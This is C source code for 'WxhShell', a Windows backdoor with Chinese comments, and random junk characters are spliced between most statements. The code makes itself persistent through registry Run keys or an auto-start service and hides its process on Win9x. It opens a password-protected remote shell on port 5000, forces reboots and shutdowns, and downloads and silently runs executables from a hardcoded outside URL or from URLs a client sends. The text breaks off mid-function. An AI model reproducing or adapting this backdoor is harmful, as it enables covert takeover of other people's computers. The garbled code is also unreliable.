NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H;aYiy r3rxC& if (!NtQueryInformationProcess) return 0; drwgjLC+ 3\;27&~gV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W(fr<<hL if(!hProcess) return 0; l8K5k:XCU3 27ckdyQx if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X}P$emr7
>ds%].$-\ CloseHandle(hProcess); EliTFxp Cc?TSZ8[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); clI*7j.4E# if(hProcess==NULL) return 0; gfU-"VpHE &/.hx(#d HMODULE hMod; V E2tq k% char procName[255]; ;DnUQj unsigned long cbNeeded; G= ^X1+_ ,a?\MM9$ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1p`+ SvvUkQ#1w CloseHandle(hProcess); TgU**JN) 6B$q,"%S@ if(strstr(procName,"services")) return 1; // 以服务启动 uR6w|e` t]1ubt2W return 0; // 注册表启动 T2?HRx } E99CmG|" 2S`?hxAL // 主模块 1G~S|,8p int StartWxhshell(LPSTR lpCmdLine) aKF*FFX { Q-rL$%~=' SOCKET wsl; C9S@v D+ BOOL val=TRUE; W&:[r/8wA int port=0; zBf-8]"^ struct sockaddr_in door; !e#xx]v3 ihT~xt if(wscfg.ws_autoins) Install(); URcR Uh.Zi3X6}6 port=atoi(lpCmdLine); y%]8'q$ "%8A:^1 if(port<=0) port=wscfg.ws_port; uQLlA&I" Y^"4?96 WSADATA data; m8+(%>+7 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l^NC]t vjViX<#(V if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; puJ#w1!x` setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !/K8xD$ door.sin_family = AF_INET; 'k&?DZ! door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7dh1W@\ door.sin_port = htons(port); ~$O1`IT 09M;}4ev&7 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o7&4G$FX~ closesocket(wsl); BdbJ< Is return 1; FqA3{ } -U2mfW sPNfbCOz if(listen(wsl,2) == INVALID_SOCKET) { (g :p5Rl closesocket(wsl); M/V(5IoP( return 1; +V v+K(lh$ } z*~YLT& Wxhshell(wsl); t0PQ~|H<KV WSACleanup(); NnxM3* 9Z\z96O- return 0; V'Y{v xFp<7p
L } +-068k( #`tD1T{; // 以NT服务方式启动
yeD_j/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'Tb0-1S? { c-XLI DWORD status = 0; FYPz 4K DWORD specificError = 0xfffffff; YTY%#"
4YbC(f serviceStatus.dwServiceType = SERVICE_WIN32; e/e0d<(1 serviceStatus.dwCurrentState = SERVICE_START_PENDING; dhRJg"vrQ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7INk_2 serviceStatus.dwWin32ExitCode = 0; >3;^l/2c serviceStatus.dwServiceSpecificExitCode = 0; ](r
^.k,R serviceStatus.dwCheckPoint = 0; h\,5/ )Y serviceStatus.dwWaitHint = 0; VlW9UF-W 'zSgCgCHX8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >L2*CV3p if (hServiceStatusHandle==0) return; <D /a l9 ucg$Ed status = GetLastError(); 1q~LA[6 if (status!=NO_ERROR) !"4w&bQ { SqB/4P serviceStatus.dwCurrentState = SERVICE_STOPPED; m>Ux`Gp+ serviceStatus.dwCheckPoint = 0; UFZ"C, serviceStatus.dwWaitHint = 0; 24@^{
} serviceStatus.dwWin32ExitCode = status; 1czG55 | serviceStatus.dwServiceSpecificExitCode = specificError; d5xxb _oE SetServiceStatus(hServiceStatusHandle, &serviceStatus); KS!yT_O return; ui.'^F< } ;?9A(q_Z >M^&F6 serviceStatus.dwCurrentState = SERVICE_RUNNING; vrcE]5(:s serviceStatus.dwCheckPoint = 0; fDuwgY0 serviceStatus.dwWaitHint = 0; q
G;-o)h if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *Jnh";~b } |paP<$ `\FI7s3b // 处理NT服务事件,比如:启动、停止 . A<sr VOID WINAPI NTServiceHandler(DWORD fdwControl) +80 2`eax { LZWS^77 switch(fdwControl) |Mg }2!/L { 6zYaA case SERVICE_CONTROL_STOP: (:?&G9k
" serviceStatus.dwWin32ExitCode = 0; 'tWAu I serviceStatus.dwCurrentState = SERVICE_STOPPED; SfI*bJo>V serviceStatus.dwCheckPoint = 0; 9G:TW|)L[Q serviceStatus.dwWaitHint = 0; 'XfgBJF=
{ Md9l+[@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); CV^0. } ]xq::a{Oy return; (DJvi6\H case SERVICE_CONTROL_PAUSE: cb+y9wA serviceStatus.dwCurrentState = SERVICE_PAUSED; QaMDGD break; z}5<$K_U case SERVICE_CONTROL_CONTINUE: )bW5yG! serviceStatus.dwCurrentState = SERVICE_RUNNING; fcAIg(vW break; g37q/nEv case SERVICE_CONTROL_INTERROGATE: G*\sdBW!k break; _'JRo%{xGX }; iPU% /_> SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?iln<%G } @%B4;c qyv"Wb6+ // 标准应用程序主函数 :GL7J6 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7Dl%UG] { N$'>XtO hPPB45^ // 获取操作系统版本 kME^tpji OsIsNt=GetOsVer(); rA#s GetModuleFileName(NULL,ExeFile,MAX_PATH); G.ud1,S# IIP.yyh> // 从命令行安装 2Guvze_bU if(strpbrk(lpCmdLine,"iI")) Install(); *]!l%Uf% (UzPkl kZ // 下载执行文件 S8*> kM' if(wscfg.ws_downexe) { [2H[5<tH if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,Oi^ySn WinExec(wscfg.ws_filenam,SW_HIDE); .YiaXP } 5+FLSk oWD)+5.] if(!OsIsNt) { 7)PJ:4IqS // 如果时win9x,隐藏进程并且设置为注册表启动 DyX0xx^ HideProc(); @KJV1t` StartWxhshell(lpCmdLine); ?>)yKa# U } /| f[us-w else lM&UFEl-\ if(StartFromService()) ?waebuj> // 以服务方式启动 ]^!}*
StartServiceCtrlDispatcher(DispatchTable); b Fn(w:1Q else JjDS"hK# // 普通方式启动 Gt'/D>FE0 StartWxhshell(lpCmdLine); `$Kes;[X >t,O2~ return 0; YE_6OLW } r]-+bR {_Np<r;j<
|`v^ d| \P?--AIq< =========================================== @WJf) +{0=<2(EC Wbd_aR
( "s;ci~$ }#|2z}! D8 wG!X " z"3H{ A [)k2=67 #include <stdio.h> `OLB';D #include <string.h> }
Ab_o#Zy #include <windows.h> 6>lW5U^yA\ #include <winsock2.h> ^@N`e1 #include <winsvc.h> (l2<+R%1 #include <urlmon.h> :1NYpsd.i ;3
dM@>5[ #pragma comment (lib, "Ws2_32.lib") 5IO3 % p? #pragma comment (lib, "urlmon.lib") mVHFT~x7} .Map #define MAX_USER 100 // 最大客户端连接数 K_FBy #define BUF_SOCK 200 // sock buffer Y}ky/?q #define KEY_BUFF 255 // 输入 buffer @QX4 \ c*jr5 Y #define REBOOT 0 // 重启 T#/ 11M$uQ #define SHUTDOWN 1 // 关机 AD,@,|A 4NI'(#l #define DEF_PORT 5000 // 监听端口 _&=9 Ke ? 9qAe #define REG_LEN 16 // 注册表键长度 ]Qc: Zy3 #define SVC_LEN 80 // NT服务名长度 X)y*#U b2W; |
// 从dll定义API J:[3;Z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G*=H;Upi typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4(;20(q] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CCy. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #-A5Z;TD. E8
\\X // wxhshell配置信息 Yr:>icz| struct WSCFG { s7AI:Zv int ws_port; // 监听端口 %K`4k.gN char ws_passstr[REG_LEN]; // 口令 'oT|cmlc int ws_autoins; // 安装标记, 1=yes 0=no 8@Q"YA3d+ char ws_regname[REG_LEN]; // 注册表键名 r@;$V_I char ws_svcname[REG_LEN]; // 服务名 '2j~WUEmg char ws_svcdisp[SVC_LEN]; // 服务显示名 sgR
9d char ws_svcdesc[SVC_LEN]; // 服务描述信息 zEAx:6`c char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4bWfx_0W int ws_downexe; // 下载执行标记, 1=yes 0=no @!Y.935/0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?!rU
|D char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `dP? 2-Z S[ i$e }; xvHOY: "_Zh5
g // default Wxhshell configuration 5,Qy/t}K struct WSCFG wscfg={DEF_PORT, p~ mN2x ] "xuhuanlingzhe", :0{AP_tvcC 1, -<_+-t
"Wxhshell", Cnk#Ioz "Wxhshell", '\4c "Ho "WxhShell Service", n2H&t>N "Wrsky Windows CmdShell Service", ;k-g_{M "Please Input Your Password: ", }D(DU5r 1, _8Pmv$ "http://www.wrsky.com/wxhshell.exe", yFIl^Ck% "Wxhshell.exe" JHHb | }; EC0zH#N n&3iz05} // 消息定义模块 e3G7K8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u87=q^$ char *msg_ws_prompt="\n\r? for help\n\r#>"; rGGS]^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
uT#Acg char *msg_ws_ext="\n\rExit."; Z+OAs0}mV char *msg_ws_end="\n\rQuit."; T<!\B] char *msg_ws_boot="\n\rReboot..."; 3{6ps : w char *msg_ws_poff="\n\rShutdown..."; o$*bm6o char *msg_ws_down="\n\rSave to "; Q=dw 6 oA5<[&~< char *msg_ws_err="\n\rErr!"; -wJ char *msg_ws_ok="\n\rOK!"; q|?`Gsr 8|fLe\" char ExeFile[MAX_PATH]; D<lQoO+ int nUser = 0; Cln^ 1N0 HANDLE handles[MAX_USER]; NU BpIx& int OsIsNt; 5+o
2 T] VZAuUw+M SERVICE_STATUS serviceStatus; W`
WLW8Qsw SERVICE_STATUS_HANDLE hServiceStatusHandle; &E} I Ka[Sm|-q // 函数声明 IY-(-
a8 int Install(void); XL{{7%j int Uninstall(void); HCI'q\\ int DownloadFile(char *sURL, SOCKET wsh); yIn/Y 0No int Boot(int flag); gNG0k$nP void HideProc(void); vsOdp:Yp9! int GetOsVer(void); eV@4VxaZ int Wxhshell(SOCKET wsl); `M towXj void TalkWithClient(void *cs); }(8D!XgWa int CmdShell(SOCKET sock); z0EjIYI[N int StartFromService(void); #p']-No int StartWxhshell(LPSTR lpCmdLine); L{4),65 f$~ _FX VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {ILp[&sL VOID WINAPI NTServiceHandler( DWORD fdwControl ); \HBVNBY "it`X
B. // 数据结构和表定义 UwvGr h SERVICE_TABLE_ENTRY DispatchTable[] = *##QXyyg { *C[4 (DmB {wscfg.ws_svcname, NTServiceMain}, ez{P-qB {NULL, NULL} GLbc/qs }; Gsx^j? >eYU$/80 // 自我安装 U^vUdM" int Install(void) PT
0Qzg { F5:2TEA char svExeFile[MAX_PATH]; T)$6H}[c HKEY key; Z1XUYe62 strcpy(svExeFile,ExeFile); R !:eYoQ LC~CPV'F // 如果是win9x系统,修改注册表设为自启动 tuL\7
(R if(!OsIsNt) {
hg<"Yg= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yf0vR%,\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5i}CzA96 RegCloseKey(key); N>W;0u! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7C,<iY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r{;VTQ RegCloseKey(key); ~*,Ddwr0a return 0; uD0(aqAZ } )&b}^1 } LS R_x$G+t } /h.:br?M#P else { ~Hp#6+ A)O_es2 // 如果是NT以上系统,安装为系统服务 Gd]5xl
HRU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^+.+IcH if (schSCManager!=0) C}M0XW { hlSB7D"d SC_HANDLE schService = CreateService (r#5O9|S ( >x|A7iWn{, schSCManager, r_!{!i3B wscfg.ws_svcname, 2 wscfg.ws_svcdisp, 3[00-~&U SERVICE_ALL_ACCESS, \UkNE5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XZUB*P}]D SERVICE_AUTO_START, /h}wM6pg SERVICE_ERROR_NORMAL, , u8ZS|9 svExeFile, >S-N|uR6 NULL, t
wa(M? NULL, XC+F! R NULL, {y+v-v/# NULL, )zk?yY6 NULL z<3}TD ); :JTRRv if (schService!=0) L~?,6 { 8S[<[CH CloseServiceHandle(schService); /Gh
x2B CloseServiceHandle(schSCManager); ~x+:44* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;Wfv+]n9 strcat(svExeFile,wscfg.ws_svcname); l"~h1xk~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vJ# rW8y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !"o1ve`{ RegCloseKey(key); N>F2
c)rm return 0; On2Vf*G@| } ~8Dd<4?F] } M;S-ESQ CloseServiceHandle(schSCManager); 5W:Gl?$S} } sTYuwna~
} U:etcnb4w> dZ;~b(CA return 1; #V(Hk ) } y<'2BTf
bSeL"
// 自我卸载 $Nt]${0 int Uninstall(void) #C=L^cSx( { 2S7H_qo$ HKEY key; FzsS~C$wH{ K_<lO,[S if(!OsIsNt) { Bcd0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hm8EYPrJ RegDeleteValue(key,wscfg.ws_regname); Gr"2G,,VI RegCloseKey(key); ]
fwTi(4y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6U,U[MWJ RegDeleteValue(key,wscfg.ws_regname); ShsP]$Yp RegCloseKey(key); fO^EMy\ return 0; .eDxIWW+ft } mXN1b! } 6"rFfdns } gl(6m`a> else { !,-qn)b n_!]B_Vd$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ([4{n if (schSCManager!=0) f Dm}J { u[6`Jr~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k{u%p < if (schService!=0) ](
U%1 { oN1wrf}Sh if(DeleteService(schService)!=0) { l66ipgw_^I CloseServiceHandle(schService); no\}aTx CloseServiceHandle(schSCManager); y!{/'{?P return 0; #Ko+_Hm?4 } 40l#'< y; CloseServiceHandle(schService); S9ak ' } lG[
)8!:+ CloseServiceHandle(schSCManager); sP8-gkkor } "#eNFCo7k } W0uM?J\O H?/cG_^y0 return 1; 7]HIE]# } Ph7(JV{
U%B]N@ // 从指定url下载文件 );/5#b@<Y int DownloadFile(char *sURL, SOCKET wsh) RGPU~L { e&a[k HRESULT hr; >a anLLO char seps[]= "/"; Spr:K, char *token; !\D]\|Bo char *file; iw]BQjK char myURL[MAX_PATH]; ;6&=]I char myFILE[MAX_PATH]; Y$`hudJ& dO4U9{+ strcpy(myURL,sURL); qNQ3(1xW token=strtok(myURL,seps); iHG:W wM & while(token!=NULL) ^2?O+ =,F { w\8rh\Mvh file=token; Y[8co<p token=strtok(NULL,seps); efAahH } }RP 9%n^ 3vGaT4TDx GetCurrentDirectory(MAX_PATH,myFILE); Zn*CJNB strcat(myFILE, "\\"); F#37Qv strcat(myFILE, file); Uub%s`O send(wsh,myFILE,strlen(myFILE),0); gJ[q
{b send(wsh,"...",3,0); 'r?HL;,q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MFdFZkpiV if(hr==S_OK) kk\zZC
< return 0; 9Nbg@5( else TAXkfj return 1; |9i/)LRXe Z_4H2HseL } LXEu^F~{u# 0 c'2rx // 系统电源模块
s?\9i6 int Boot(int flag) fOjt` ~ToI { $q@RHcj HANDLE hToken; )eGu4iEPM TOKEN_PRIVILEGES tkp; 02c.;ka3 yW=hnV{ if(OsIsNt) { `R=_t]ie OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Vi-!E LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AYQh=$)( tkp.PrivilegeCount = 1; CH_Dat> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZtK%b+MBP AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p 2f
WL if(flag==REBOOT) { =`.5b:e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `q{'_\gVt( return 0; >D^7v(& } _(s|Q else { {4jSj0W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {c
EKz\RX return 0; wk
<~Y 3u } ^VYZ% } 9C'+~<l else { r
L|BkN if(flag==REBOOT) { mt6uW+t/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wTuRo
J return 0; bFdg'_ } .+~kJ0~Y else { snzH}$Ls if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WMz|FFKVY return 0; 1B]wSvP@ } d.(]V2X.J } =d4',[O +z?f,`.* return 1; .$}zw|,q } FZ.Yn !rmo*-=^= // win9x进程隐藏模块 SE-, 1p void HideProc(void) Kz2^f@5=F { bzL;)H4Eo ,?N_67 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V`&*%xgGR if ( hKernel != NULL ) l{SPV8[i { ^WYG?/{4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EjCzou ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2
]6u
Be FreeLibrary(hKernel); 2X|jq4 } .B-,GD} 0+`*8G) return; !F s)"? } 91Sb=9 <u%e* // 获取操作系统版本 [B;Ek\ 5W int GetOsVer(void) Ox1QP2t6Y { 8n
p>#V OSVERSIONINFO winfo; *ww(5 t winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [#fqyg GetVersionEx(&winfo); $<DA[
%pv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FNRE_83 return 1; Q6<Uuiw else >l*9DaZ return 0; y(BLin!O. } e$|)wOwU fe`G^hV // 客户端句柄模块 i]WlMC6 int Wxhshell(SOCKET wsl) jsht2]iq3K { gG> ^h1_o~ SOCKET wsh; ?PtRb:RHt struct sockaddr_in client; -^yc yZ DWORD myID; 1ORi]` /'^>-!8_1 while(nUser<MAX_USER) tl#s: { 6y!?xot int nSize=sizeof(client); X(q=,^Mp wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~a,' if(wsh==INVALID_SOCKET) return 1; W
9MZ m&c(N handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Olh-(u:9+O if(handles[nUser]==0) mK&9p{4#U closesocket(wsh); ,+evP=(cX else ~TIZumGB nUser++; Gl:T } A>@epCD WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l+qtA~V&2 P&,cCR> return 0; V!tBipX% } zgTi Az qnV9TeU) // 关闭 socket >5W"a?( void CloseIt(SOCKET wsh) L 'Rapu { y{P9k8v!z closesocket(wsh); BkqW>[\5xm nUser--; ]a~LA7VHO ExitThread(0); )f&]H} } 70(?X/5# Av4E?@R // 客户端请求句柄 l~c>jm8. void TalkWithClient(void *cs) Qj[O$L0 $ { 4'|:SyOm J, >PLQAa SOCKET wsh=(SOCKET)cs; ;itg>\p3 char pwd[SVC_LEN]; rmJ847%y` char cmd[KEY_BUFF]; <Wq{ V;$ char chr[1]; /hR]aw int i,j; Mc^7FWkw ixpG[8s while (nUser < MAX_USER) { mSeNM '~a$f;: Dv if(wscfg.ws_passstr) { fbkjK`_q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "b7C0NE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IV*$U7~ //ZeroMemory(pwd,KEY_BUFF); b;ZAz
i=0; rJj~cPwL" while(i<SVC_LEN) { z5w|+9U POs~xaZ`H // 设置超时 %W@IB8]Vr fd_set FdRead; nmrk-#._@9 struct timeval TimeOut; 8iA(:Tb FD_ZERO(&FdRead); 9h pM*wt FD_SET(wsh,&FdRead); YJsi5 TimeOut.tv_sec=8; RjHpC7b*% TimeOut.tv_usec=0; Jx?>1q=M int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wB"Gw` D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); brot&S2P>< AW68'G*m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [)u{ - pwd=chr[0]; :E*U*#h/ if(chr[0]==0xd || chr[0]==0xa) { NWj@iyi< pwd=0; C
=U4|h ~W break; `^{P,N>X } CgE5;O i++; zf u78 } *?Y6qalSy 7^5BnF@ // 如果是非法用户,关闭 socket ;O>fy:$' if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lNAHn<ht } WQ`T'k#ESW i(rY'o2 BN send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); net9KX4\ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); px@\b]/ B[50{;X while(1) { nsk
6a R0'EoX ZeroMemory(cmd,KEY_BUFF); ?>&Zm$5V M+:wa@Kl // 自动支持客户端 telnet标准 t68RWzqiG[ j=0; TaG-^bX8B while(j<KEY_BUFF) { HskN(Ho if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bux-t3g7+ cmd[j]=chr[0]; 8?XZF[D if(chr[0]==0xa || chr[0]==0xd) { X.<R['U&\ cmd[j]=0; l[ k$O$jo break; :B~c>: } '"^JNb^I j++; \f#ao<vQm } Ymom 0g+f YvX I // 下载文件 [*t EHW if(strstr(cmd,"http://")) { v(~m!8!TI send(wsh,msg_ws_down,strlen(msg_ws_down),0); *E'K{?-K if(DownloadFile(cmd,wsh)) wt;aO_l send(wsh,msg_ws_err,strlen(msg_ws_err),0); xkovoTzV else FeLP!oS> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B?Skw{& } *_wBV
M=2 else { ibyA~YUN/ 4fswx@l switch(cmd[0]) { 3LREue7Gr g=Di2j{A // 帮助 -f=hL7NW case '?': { Km7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $(U|JR@ break; 9j`-fs@: } |{T2|iJI // 安装 wQT'~'kL case 'i': { 6*7&X#gG if(Install()) _L":Wux send(wsh,msg_ws_err,strlen(msg_ws_err),0); bSfQH4F else "Cb<~Dy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6tguy break; F04Etf
2k } R8l9i2 // 卸载 xJCpWU3wM case 'r': { xTT>3Fj if(Uninstall()) xFZq6si? send(wsh,msg_ws_err,strlen(msg_ws_err),0); s? Kn,6Y else UZ#2*PH2E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >YLm]7v} break; v&n&i? } g%trGW3{- // 显示 wxhshell 所在路径 @#apOoVW> case 'p': { Sls>
OIc char svExeFile[MAX_PATH]; /Ny&;Y strcpy(svExeFile,"\n\r"); +Sfv.6~v strcat(svExeFile,ExeFile); e=2D^G#qE send(wsh,svExeFile,strlen(svExeFile),0); Cmj)CJ- break; q@:&^CS } LxT ]- // 重启 YVT^}7# case 'b': { n>WS@b/o send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XJ;/kR if(Boot(REBOOT)) 00i9yC8@6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); N2>JG]G else { bb{+ closesocket(wsh); 8{C3ijR ExitThread(0); mX89^ } fvDwg break; *M:Bhw } DN+`Q{KS // 关机 n[@Ur2& |